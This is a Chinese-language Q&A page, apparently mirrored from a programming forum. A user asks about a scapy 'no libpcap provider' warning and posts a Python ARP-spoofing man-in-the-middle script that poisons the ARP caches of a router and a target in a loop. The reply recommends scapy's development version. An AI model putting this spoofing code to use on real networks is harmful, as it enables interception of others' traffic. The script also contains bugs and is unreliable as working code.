首页 > 解决方案 > Python scapy - 错误:没有可用的 libpcap 提供程序

问题描述

我将 scapy 用于一个简单的 MITM 攻击脚本(我当然只将它用于教育目的),我收到了这个奇怪的错误,上面写着:警告:没有可用的 libpcap 提供程序!pcap 不会被使用。我尝试在网上查找此错误,但没有人真正回答。这个错误是什么意思?是否有可能我只是没有正确使用脚本?任何帮助都将不胜感激。

这是我的脚本:

import scapy.all as scapy 


def get_target_mac(ip):
    arp_request = scapy.ARP(pdst=ip) 
    broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
    finalpacket = broadcast/arp_request
    answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
    mac = answer[0][1].hwsrc   
    return(mac)  

def restore(destination_ip, source_ip):
    target_mac = get_target_mac(destination_ip)
    source_mac = get_target_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
    scapy.sendp(packet, verbose=False)

def spoof_arp(target_ip, spoofed_ip):
    mac = get_target_mac(target_ip)
    packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
    scapy.sendp(packet, verbose=False)

def main():
    try:
        while True:
            spoof_arp('router_ip', 'fake_ip')#I hided the real ip
            spoof_arp('fake_ip', 'router_ip')

    except KeyboardInterrupt:
        restore('router_ip', 'fake_ip')
        restore('fake_ip', 'router_ip')
        exit(0)

标签: pythonerror-handlingscapy

解决方案


我认为user16139739给出了一个可能的解决方案。我遇到了 scapy 的一些问题,这就是其中之一,stable 有一些已知的错误,这些错误已在开发版本中得到纠正。

我没有安装其他任何东西,在我的情况下,我之前可能已经使用过 user16139739解决方案,但在某些时候仍然会出现这个错误,而另一个是RawPcapReader,所以我使用了开发版本。


推荐阅读